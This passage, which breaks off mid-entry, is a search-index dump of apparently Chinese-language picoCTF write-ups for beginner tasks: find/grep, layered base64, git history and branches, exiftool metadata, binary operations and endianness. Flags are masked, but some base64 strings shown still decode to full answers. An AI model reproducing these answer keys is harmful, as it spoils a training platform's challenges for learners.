id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e題目目標是找到 \u003ccode\u003euber-secret.txt\u003c/code\u003e 這個檔案，在 linux 找檔案可以使用 \u003ccode\u003efind\u003c/code\u003e 這個指令，下載並解壓縮檔案後，使用以下指令尋找 \u003ccode\u003euber-secret.txt\u003c/code\u003e 檔案。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ find -name uber-secret.txt\n./adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e找到檔案後使用 \u003ccode\u003ecat\u003c/code\u003e 讀取\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ cat ./adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt\npicoCTF{f1n---------------fd1}\n\u003c/code\u003e\u003c/pre\u003e","title":"First Find"},{"content":"題目連結 https://learn.cylabacademy.org/library/322\n題目解法 解壓縮後會得到非常多 .txt 檔案以及許多子目錄，根據提示知道要使用 grep 指令，grep 指令加上 -r 參數會遞迴的尋找目錄中以及所有子目錄中的所有檔案中是否有目標。\n$ grep -r \u0026#34;pico\u0026#34; folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3----------------0dc} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/big-zip/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/322\"\u003ehttps://learn.cylabacademy.org/library/322\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e解壓縮後會得到非常多 \u003ccode\u003e.txt\u003c/code\u003e 檔案以及許多子目錄，根據提示知道要使用 \u003ccode\u003egrep\u003c/code\u003e 指令，\u003ccode\u003egrep\u003c/code\u003e 指令加上 \u003ccode\u003e-r\u003c/code\u003e 參數會遞迴的尋找目錄中以及所有子目錄中的所有檔案中是否有目標。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ grep -r \u0026#34;pico\u0026#34;\nfolder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3----------------0dc}\n\u003c/code\u003e\u003c/pre\u003e","title":"Big Zip"},{"content":"題目連結 https://learn.cylabacademy.org/library/371\n題目解法 下載後得到以下字串\nVmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW VkpEVGxaYVdFMVhSbFZrTTBKVVZXcE9VazFXV2toT1dHUllDbUY2UWpSWk1GWlhWa2RHZEdWRlZs aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg== 看到用兩個等於結尾且內容皆為字母及數字，推測使用 base64 編碼，解碼後得到以下字串\nVjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX bUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW MlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVkM0JUVWpOUk1WWkhOWGRYCmF6QjRZMFZXVkdGdGVFVlhi bTkzVDFWT2JsQlVNRXNLCg== 在解碼一次得到\nV1RCa2MyRnRTWGRVYkZaVFltNVNjRmRXYUU5aVJUVnhWVzFhYVdGck5UWmFSVkpQWVRGbmVWVnVR bHBsYTBweVUxWmpNRTVHWjNsVgpXR1JyVFdwV2VsUlZVbE5oTURCNVZXMWFUd3BTUjNRMVZHNXdX azB4Y0VWVGFteEVXbm93T1VOblBUMEsK 在解碼一次得到\nWTBkc2FtSXdUbFZTYm5ScFdWaE9iRTVxVW1aaWFrNTZaRVJPYTFneVVuQlpla0pyU1ZjME5GZ3lV WGRrTWpWelRVUlNhMDB5VW1aTwpSR3Q1VG5wWk0xcEVTamxEWnowOUNnPT0K 在解碼一次得到\nY0dsamIwTlVSbnRpWVhObE5qUmZiak56ZEROa1gyUnBZekJrSVc0NFgyUXdkMjVzTURSa00yUmZO RGt5TnpZM1pESjlDZz09Cg== 在解碼一次得到\ncGljb0NURntiYXNlNjRfbjNzdDNkX2RpYzBkIW44X2Qwd25sMDRkM2RfNDkyNzY3ZDJ9Cg== 在解碼一次得到 flag\npicoCTF{bas------------------------------------7d2} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/repetitions/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/371\"\u003ehttps://learn.cylabacademy.org/library/371\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載後得到以下字串\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eVmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh\nRmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk\nMlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW\nVkpEVGxaYVdFMVhSbFZrTTBKVVZXcE9VazFXV2toT1dHUllDbUY2UWpSWk1GWlhWa2RHZEdWRlZs\naGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg==\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e看到用兩個等於結尾且內容皆為字母及數字，推測使用 base64 編碼，解碼後得到以下字串\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eVjFSQ2EyTXlSblJUV0dSVllrWmFWRmx0TlZOalJtUlhZVVU1YVZKVVZuaFdWekZoWVZkR2NrNVVX\nbUZTVmtwUVdWUkdibVZXVm5WUgpiSEJzWVRCd2VWVXhXbXBOUlRWSFdqTnNWZ3BYUjFKeVZGZHdW\nMlZzVWxaVmJFNW9UVVJDTlZaWE1XRlVkM0JUVWpOUk1WWkhOWGRYCmF6QjRZMFZXVkdGdGVFVlhi\nbTkzVDFWT2JsQlVNRXNLCg==\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在解碼一次得到\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eV1RCa2MyRnRTWGRVYkZaVFltNVNjRmRXYUU5aVJUVnhWVzFhYVdGck5UWmFSVkpQWVRGbmVWVnVR\nbHBsYTBweVUxWmpNRTVHWjNsVgpXR1JyVFdwV2VsUlZVbE5oTURCNVZXMWFUd3BTUjNRMVZHNXdX\nazB4Y0VWVGFteEVXbm93T1VOblBUMEsK\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在解碼一次得到\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eWTBkc2FtSXdUbFZTYm5ScFdWaE9iRTVxVW1aaWFrNTZaRVJPYTFneVVuQlpla0pyU1ZjME5GZ3lV\nWGRrTWpWelRVUlNhMDB5VW1aTwpSR3Q1VG5wWk0xcEVTamxEWnowOUNnPT0K\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在解碼一次得到\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eY0dsamIwTlVSbnRpWVhObE5qUmZiak56ZEROa1gyUnBZekJrSVc0NFgyUXdkMjVzTURSa00yUmZO\nRGt5TnpZM1pESjlDZz09Cg==\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在解碼一次得到\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecGljb0NURntiYXNlNjRfbjNzdDNkX2RpYzBkIW44X2Qwd25sMDRkM2RfNDkyNzY3ZDJ9Cg==\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在解碼一次得到 flag\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{bas------------------------------------7d2}\n\u003c/code\u003e\u003c/pre\u003e","title":"repetitions"},{"content":"題目連結 https://learn.cylabacademy.org/library/404\n題目解法 依照問的問題計算答案\nWelcome to the Binary Challenge!\u0026#34; Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag. Binary Number 1: 11111110 Binary Number 2: 11100001 Number 1 和 Number 2 \u0026amp;(and) 計算 Question 1/6: Operation 1: \u0026#39;\u0026amp;\u0026#39; Perform the operation on Binary Number 1\u0026amp;2. Enter the binary result: 11100000 Correct! Number 1 和 Number 2 相加 Question 2/6: Operation 2: \u0026#39;+\u0026#39; Perform the operation on Binary Number 1\u0026amp;2. Enter the binary result: 111011111 Correct! Number 1 左移一位 Question 3/6: Operation 3: \u0026#39;\u0026lt;\u0026lt;\u0026#39; Perform a left shift of Binary Number 1 by 1 bits. Enter the binary result: 111111100 Correct! Number 2 右移一位 Question 4/6: Operation 4: \u0026#39;\u0026gt;\u0026gt;\u0026#39; Perform a right shift of Binary Number 2 by 1 bits . Enter the binary result: 1110000 Correct! Number 1 和 Number 2 相乘 Question 5/6: Operation 5: \u0026#39;*\u0026#39; Perform the operation on Binary Number 1\u0026amp;2. Enter the binary result: 1101111100111110 Correct! Number 1 和 Number 2 |(or) 計算 Question 6/6: Operation 6: \u0026#39;|\u0026#39; Perform the operation on Binary Number 1\u0026amp;2. Enter the binary result: 11111111 Correct! 將 | 的結果轉成 16 進位 Enter the results of the last operation in hexadecimal: ff Correct answer! The flag is: picoCTF{b1t---------------------------------47e} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/binhexa/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/404\"\u003ehttps://learn.cylabacademy.org/library/404\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e依照問的問題計算答案\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eWelcome to the Binary Challenge!\u0026#34;\nYour task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.\n\nBinary Number 1: 11111110\nBinary Number 2: 11100001\n\u003c/code\u003e\u003c/pre\u003e\u003col\u003e\n\u003cli\u003eNumber 1 和 Number 2 \u003ccode\u003e\u0026amp;\u003c/code\u003e(and) 計算\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eQuestion 1/6:\nOperation 1: \u0026#39;\u0026amp;\u0026#39;\nPerform the operation on Binary Number 1\u0026amp;2.\nEnter the binary result: 11100000\nCorrect!\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\n\u003cli\u003eNumber 1 和 Number 2 相加\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eQuestion 2/6:\nOperation 2: \u0026#39;+\u0026#39;\nPerform the operation on Binary Number 1\u0026amp;2.\nEnter the binary result: 111011111\nCorrect!\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"3\"\u003e\n\u003cli\u003eNumber 1 左移一位\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eQuestion 3/6:\nOperation 3: \u0026#39;\u0026lt;\u0026lt;\u0026#39;\nPerform a left shift of Binary Number 1 by 1 bits.\nEnter the binary result: 111111100\nCorrect!\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"4\"\u003e\n\u003cli\u003eNumber 2 右移一位\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eQuestion 4/6:\nOperation 4: \u0026#39;\u0026gt;\u0026gt;\u0026#39;\nPerform a right shift of Binary Number 2 by 1 bits .\nEnter the binary result: 1110000\nCorrect!\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"5\"\u003e\n\u003cli\u003eNumber 1 和 Number 2 相乘\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eQuestion 5/6:\nOperation 5: \u0026#39;*\u0026#39;\nPerform the operation on Binary Number 1\u0026amp;2.\nEnter the binary result: 1101111100111110\nCorrect!\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"6\"\u003e\n\u003cli\u003eNumber 1 和 Number 2 \u003ccode\u003e|\u003c/code\u003e(or) 計算\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eQuestion 6/6:\nOperation 6: \u0026#39;|\u0026#39;\nPerform the operation on Binary Number 1\u0026amp;2.\nEnter the binary result: 11111111\nCorrect!\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"7\"\u003e\n\u003cli\u003e將 \u003ccode\u003e|\u003c/code\u003e 的結果轉成 16 進位\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eEnter the results of the last operation in hexadecimal: ff\n\nCorrect answer!\nThe flag is: picoCTF{b1t---------------------------------47e}\n\u003c/code\u003e\u003c/pre\u003e","title":"binhexa"},{"content":"題目連結 https://learn.cylabacademy.org/library/405\n題目解法 根據提示知道要查看誰更動過 message.py，所以要使用 git blame 指令\n$ git blame message.py 23e9d4ce (picoCTF{@sk-----------------6ff} 2024-03-12 00:07:15 +0000 1) print(\u0026#34;Hello, World!\u0026#34; ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/blame-game/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/405\"\u003ehttps://learn.cylabacademy.org/library/405\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e根據提示知道要查看誰更動過 \u003ccode\u003emessage.py\u003c/code\u003e，所以要使用 \u003ccode\u003egit blame\u003c/code\u003e 指令\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ git blame message.py             \n23e9d4ce (picoCTF{@sk-----------------6ff} 2024-03-12 00:07:15 +0000 1) print(\u0026#34;Hello, World!\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e","title":"Blame Game"},{"content":"題目連結 https://learn.cylabacademy.org/library/406\n題目解法 進入網站後點選畫面上的程式碼，可以複製一段 JavaScript 腳本，按下 F12 開啟開發者工具，選取 console 並且貼上剛剛的程式碼，即可得到 flag。 ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/bookmarklet/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/406\"\u003ehttps://learn.cylabacademy.org/library/406\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e進入網站後點選畫面上的程式碼，可以複製一段 JavaScript 腳本，按下 F12 開啟開發者工具，選取 console 並且貼上剛剛的程式碼，即可得到 flag。\n\u003cimg alt=\"網頁截圖\" loading=\"lazy\" src=\"/posts/web-exploitation/bookmarklet/website.webp\"\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Bookmarklet"},{"content":"題目連結 https://learn.cylabacademy.org/library/408\n題目解法 下載並解壓縮後得到一張 .jpg 檔，使用 exiftool 檢查發現一串可疑的資料\n$ exiftool ukn_reality.jpg ExifTool Version Number : 13.50 File Name : ukn_reality.jpg Directory : . File Size : 2.3 MB File Modification Date/Time : 2024:02:15 17:40:17-05:00 File Access Date/Time : 2026:07:01 05:16:50-04:00 File Inode Change Date/Time : 2026:07:01 05:16:41-04:00 File Permissions : -rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 72 Y Resolution : 72 XMP Toolkit : Image::ExifTool 11.88 Attribution URL : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg== Image Width : 4308 Image Height : 2875 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 4308x2875 Megapixels : 12.4 Attribution URL 的資料很可疑，像是使用 base64 編碼後的內容，解碼後即可得到 flag。\ncGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg== picoCTF{ME7------------------dcb} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/canyousee/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/408\"\u003ehttps://learn.cylabacademy.org/library/408\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載並解壓縮後得到一張 \u003ccode\u003e.jpg\u003c/code\u003e 檔，使用 \u003ccode\u003eexiftool\u003c/code\u003e 檢查發現一串可疑的資料\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ exiftool ukn_reality.jpg \nExifTool Version Number         : 13.50\nFile Name                       : ukn_reality.jpg\nDirectory                       : .\nFile Size                       : 2.3 MB\nFile Modification Date/Time     : 2024:02:15 17:40:17-05:00\nFile Access Date/Time           : 2026:07:01 05:16:50-04:00\nFile Inode Change Date/Time     : 2026:07:01 05:16:41-04:00\nFile Permissions                : -rw-r--r--\nFile Type                       : JPEG\nFile Type Extension             : jpg\nMIME Type                       : image/jpeg\nJFIF Version                    : 1.01\nResolution Unit                 : inches\nX Resolution                    : 72\nY Resolution                    : 72\nXMP Toolkit                     : Image::ExifTool 11.88\nAttribution URL                 : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==\nImage Width                     : 4308\nImage Height                    : 2875\nEncoding Process                : Baseline DCT, Huffman coding\nBits Per Sample                 : 8\nColor Components                : 3\nY Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)\nImage Size                      : 4308x2875\nMegapixels                      : 12.4\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAttribution URL 的資料很可疑，像是使用 base64 編碼後的內容，解碼後即可得到 flag。\u003c/p\u003e","title":"CanYouSee"},{"content":"題目連結 https://learn.cylabacademy.org/library/410\n題目解法 將題目檔案下載並解壓縮後，讀取 flag.py 發現並未包含 flag，git log 也沒有任何紀錄。不過可以發現有多個 branch。 $ git branch feature/part-1 feature/part-2 feature/part-3 * main 使用 git checkout 切到不同分支查看，發現每個分支有包含部分 flag。 $ git checkout feature/part-1 Switched to branch \u0026#39;feature/part-1\u0026#39; $ cat flag.py print(\u0026#34;Printing the flag...\u0026#34;) print(\u0026#34;picoCTF{t3@mw0rk_\u0026#34;, end=\u0026#39;\u0026#39;) 重複相同步驟，將三部分的 flag 組合起來即可得到完整 flag。 picoCTF{t3@--------------------------------ec1} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/collaborative-development/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/410\"\u003ehttps://learn.cylabacademy.org/library/410\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e將題目檔案下載並解壓縮後，讀取 \u003ccode\u003eflag.py\u003c/code\u003e 發現並未包含 flag，git log 也沒有任何紀錄。不過可以發現有多個 branch。\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ git branch\n  feature/part-1\n  feature/part-2\n  feature/part-3\n* main\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e使用 git checkout 切到不同分支查看，發現每個分支有包含部分 flag。\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ git checkout feature/part-1\nSwitched to branch \u0026#39;feature/part-1\u0026#39;\n$ cat flag.py \nprint(\u0026#34;Printing the flag...\u0026#34;)\nprint(\u0026#34;picoCTF{t3@mw0rk_\u0026#34;, end=\u0026#39;\u0026#39;)\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e重複相同步驟，將三部分的 flag 組合起來即可得到完整 flag。\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{t3@--------------------------------ec1}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Collaborative Development"},{"content":"題目連結 https://learn.cylabacademy.org/library/411\n題目解法 將題目檔案下載並解壓縮後，讀取 message.txt 發現並未包含 flag，使用 git 指令查看 log 發現有兩個 log，其中 ea859bf 可能包含 flag。\n$ git log --oneline ef0b7cc (HEAD -\u0026gt; master) remove sensitive info ea859bf create flag 使用 git checkout 指令來回到指定 log。\ngit checkout ea859bf 再次讀取 message.txt 發現有包含 flag 了。\n$ cat message.txt picoCTF{s@n-----------485} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/commitment-issues/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/411\"\u003ehttps://learn.cylabacademy.org/library/411\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e將題目檔案下載並解壓縮後，讀取 \u003ccode\u003emessage.txt\u003c/code\u003e 發現並未包含 flag，使用 git 指令查看 log 發現有兩個 log，其中 \u003ccode\u003eea859bf\u003c/code\u003e 可能包含 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ git log --oneline\nef0b7cc (HEAD -\u0026gt; master) remove sensitive info\nea859bf create flag\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用 git checkout 指令來回到指定 log。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit checkout ea859bf\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e再次讀取 \u003ccode\u003emessage.txt\u003c/code\u003e 發現有包含 flag 了。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ cat message.txt \npicoCTF{s@n-----------485}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Commitment Issues"},{"content":"題目連結 https://learn.cylabacademy.org/library/414\n題目解法 啟動並連線後，會提供一個長度為5的隨機字串。\n第一個問題 Enter the Little Endian representation: 要將字串顛道並轉成 16 進位後輸入。\n第二個問題 Enter the Big Endian representation: 直接將字串轉乘 16 進位輸入。\n$ nc titan.picoctf.net 56752 Welcome to the Endian CTF! You need to find both the little endian and big endian representations of a word. If you get both correct, you will receive the flag. Word: gobyv Enter the Little Endian representation: 7679626F67 Correct Little Endian representation! Enter the Big Endian representation: 676F627976 Correct Big Endian representation! Congratulations! You found both endian representations correctly! Your Flag is: picoCTF{3nd----------------------f0a} ASCII 對照表 字母 Hex 字母 Hex a 61 n 6E b 62 o 6F c 63 p 70 d 64 q 71 e 65 r 72 f 66 s 73 g 67 t 74 h 68 u 75 i 69 v 76 j 6A w 77 k 6B x 78 l 6C y 79 m 6D z 7a 題目原始碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdbool.h\u0026gt; #include \u0026lt;ctype.h\u0026gt; #include \u0026lt;time.h\u0026gt; char *find_little_endian(const char *word) { size_t word_len = strlen(word); char *little_endian = (char *)malloc((2 * word_len + 1) * sizeof(char)); for (size_t i = word_len; i-- \u0026gt; 0;) { snprintf(\u0026amp;little_endian[(word_len - 1 - i) * 2], 3, \u0026#34;%02X\u0026#34;, (unsigned char)word[i]); } little_endian[2 * word_len] = \u0026#39;\\0\u0026#39;; return little_endian; } char *find_big_endian(const char *word) { size_t length = strlen(word); char *big_endian = (char *)malloc((2 * length + 1) * sizeof(char)); for (size_t i = 0; i \u0026lt; length; i++) { snprintf(\u0026amp;big_endian[i * 2], 3, \u0026#34;%02X\u0026#34;, (unsigned char)word[i]); } big_endian[2 * length] = \u0026#39;\\0\u0026#39;; return big_endian; } char *generate_random_word() { printf(\u0026#34;Welcome to the Endian CTF!\\n\u0026#34;); printf(\u0026#34;You need to find both the little endian and big endian representations of a word.\\n\u0026#34;); printf(\u0026#34;If you get both correct, you will receive the flag.\\n\u0026#34;); srand(time(NULL)); int word_length = 5; char *word = (char *)malloc((word_length + 1) * sizeof(char)); for (int i = 0; i \u0026lt; word_length; i++) { word[i] = (rand() % 26) + \u0026#39;a\u0026#39;; } word[word_length] = \u0026#39;\\0\u0026#39;; return word; } int main() { char *challenge_word = generate_random_word(); printf(\u0026#34;Word: %s\\n\u0026#34;, challenge_word); fflush(stdout); char *little_endian = find_little_endian(challenge_word); size_t user_little_endian_size = strlen(little_endian); char user_little_endian[user_little_endian_size + 1]; bool correct_flag = false; while (!correct_flag) { printf(\u0026#34;Enter the Little Endian representation: \u0026#34;); fflush(stdout); scanf(\u0026#34;%10s\u0026#34;, user_little_endian); for (size_t i = 0; i \u0026lt; strlen(user_little_endian); i++) { user_little_endian[i] = toupper(user_little_endian[i]); } if (strncmp(user_little_endian, little_endian, user_little_endian_size) == 0) { printf(\u0026#34;Correct Little Endian representation!\\n\u0026#34;); fflush(stdout); correct_flag = true; } else { printf(\u0026#34;Incorrect Little Endian representation. Try again!\\n\u0026#34;); fflush(stdout); } } char *big_endian = find_big_endian(challenge_word); size_t user_big_endian_size = strlen(big_endian); char user_big_endian[user_big_endian_size + 1]; bool final_flag = false; while (!final_flag) { printf(\u0026#34;Enter the Big Endian representation: \u0026#34;); fflush(stdout); scanf(\u0026#34;%10s\u0026#34;, user_big_endian); for (size_t i = 0; i \u0026lt; strlen(user_big_endian); i++) { user_big_endian[i] = toupper(user_big_endian[i]); } if (strncmp(user_big_endian, big_endian, user_big_endian_size) == 0) { printf(\u0026#34;Correct Big Endian representation!\\n\u0026#34;); fflush(stdout); final_flag = true; } else { printf(\u0026#34;Incorrect Big Endian representation. Try again!\\n\u0026#34;); fflush(stdout); } } FILE *flag = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (flag == NULL) { printf(\u0026#34;Flag not found. Please run this on the server\\n\u0026#34;); fflush(stdout); exit(0); } char flag_content[100]; fgets(flag_content, sizeof(flag_content), flag); printf(\u0026#34;Congratulations! You found both endian representations correctly!\\n\u0026#34;); fflush(stdout); printf(\u0026#34;Your Flag is: %s\\n\u0026#34;, flag_content); fflush(stdout); exit(0); return 0; } ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/endianness/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/414\"\u003ehttps://learn.cylabacademy.org/library/414\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動並連線後，會提供一個長度為5的隨機字串。\u003cbr\u003e\n第一個問題 \u003ccode\u003eEnter the Little Endian representation:\u003c/code\u003e 要將字串顛道並轉成 16 進位後輸入。\u003cbr\u003e\n第二個問題 \u003ccode\u003eEnter the Big Endian representation:\u003c/code\u003e 直接將字串轉乘 16 進位輸入。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ nc titan.picoctf.net 56752\nWelcome to the Endian CTF!\nYou need to find both the little endian and big endian representations of a word.\nIf you get both correct, you will receive the flag.\nWord: gobyv\nEnter the Little Endian representation: 7679626F67\nCorrect Little Endian representation!\nEnter the Big Endian representation: 676F627976\nCorrect Big Endian representation!\nCongratulations! You found both endian representations correctly!\nYour Flag is: picoCTF{3nd----------------------f0a}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"ascii-對照表\"\u003eASCII 對照表\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: 